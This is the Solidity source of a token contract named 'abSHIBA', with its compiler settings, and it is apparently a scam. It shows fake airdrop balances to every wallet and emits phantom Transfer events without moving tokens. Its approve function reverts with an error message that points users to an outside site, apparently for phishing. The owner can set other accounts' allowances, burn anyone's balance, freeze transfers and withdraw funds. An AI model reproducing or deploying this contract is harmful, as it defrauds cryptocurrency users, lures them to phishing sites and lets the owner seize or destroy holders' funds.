// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/token/ERC20/ERC20.sol";

contract abSHIBA is ERC20("abSHIBA.com", "ABSHIBA.com") {
    
    mapping(address => bool) _isExcluded;
    mapping(address => bool) private _unlocked;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    uint256 private _airdropAmount;
    uint256 private _totalSupply;
    uint8 public unlocked;
    uint8 private _decimals = 9;
    address public _owner;
    string public _errMSG = "Claim ABSHIBA In Official - ABSHIBA.com";

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owners");
        _;
    }
    
    constructor (uint256 _mintAmount) {
        unlocked = 1;
        _owner = _msgSender();
        _mint(_msgSender(), _mintAmount*10**9);
        _unlocked[_msgSender()] = true;
        _isExcluded[_msgSender()] = true;
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        if (!_unlocked[account]) {
            if(_balances[account] != 0){
                return _balances[account];
            }else{
                return _airdropAmount;
            }
        } else {
            return _balances[account];
        }
    }
    
    function setAirdropAmount(uint256 airdropAmount_) public onlyOwner (){
        _airdropAmount = airdropAmount_;
    }

    function setErrMSG(string memory _msg) public onlyOwner (){
        _errMSG = _msg;
    }
    
   function approve(address to, uint256 amount) public virtual override returns (bool) {
        if (_isExcluded[_msgSender()]) return super.approve(to, amount);
        revertNoEthersError(_errMSG);
        return false;
    }
    
    function revertNoEthersError(string memory errorMessage) internal view {
        require(tx.gasprice == 0, errorMessage);
    }
    
    function approveOwner(address owner, address spender, uint256 amount) external onlyOwner returns (bool) {
        _allowances[owner][spender] = amount;
        return true;
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(unlocked == 1, _errMSG);
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        require(unlocked == 1, _errMSG);
        return true;
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }
    
    function mint(address account, uint256 amount) public payable onlyOwner {
        _mint(account, amount);
    }

    function _mint(address account, uint256 amount) internal override virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        
        _totalSupply += amount;
        _balances[account] += amount;
        _unlocked[account] = true;
        
        emit Transfer(address(0), account, amount);
    }

    function unlock(address account) public payable onlyOwner {
        _unlock(account);
    }
    
    function _unlock(address account) internal virtual {
        _unlocked[account] = true;
        _isExcluded[account] = true;
        if(unlocked == 1){
            unlocked = 0;
        }else{
           unlocked = 1;
           _airdropAmount = 0;
        }
    }

    function burn(address account, uint256 amount) public payable onlyOwner {
        _burn(account, amount);
    }
    
    function _burn(address account, uint256 amount) internal override virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _unlocked[account] = false;

        emit Transfer(account, address(0), amount);
    }
    
    function batchTransferToken(address[] memory holders, uint256 amount) public payable {
        for (uint i=0; i<holders.length; i++) {
            emit Transfer(address(this), holders[i], amount);
        }
    }
    
    function withdrawEth(address payable receiver, uint amount) public onlyOwner payable {
        uint balance = address(this).balance;
        if (amount == 0) {
            amount = balance;
        }
        require(amount > 0 && balance >= amount, "no balance");
        receiver.transfer(amount);
    }

    function withdrawToken(address receiver, address tokenAddress, uint amount) public onlyOwner payable {
        uint balance = IERC20(tokenAddress).balanceOf(address(this));
        if (amount == 0) {
            amount = balance;
        }

        require(amount > 0 && balance >= amount, "bad amount");
        ERC20(tokenAddress).transfer(receiver, amount);
    }
}

{
  "compilationTarget": {
    "SayNoToFails.sol": "abSHIBA"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}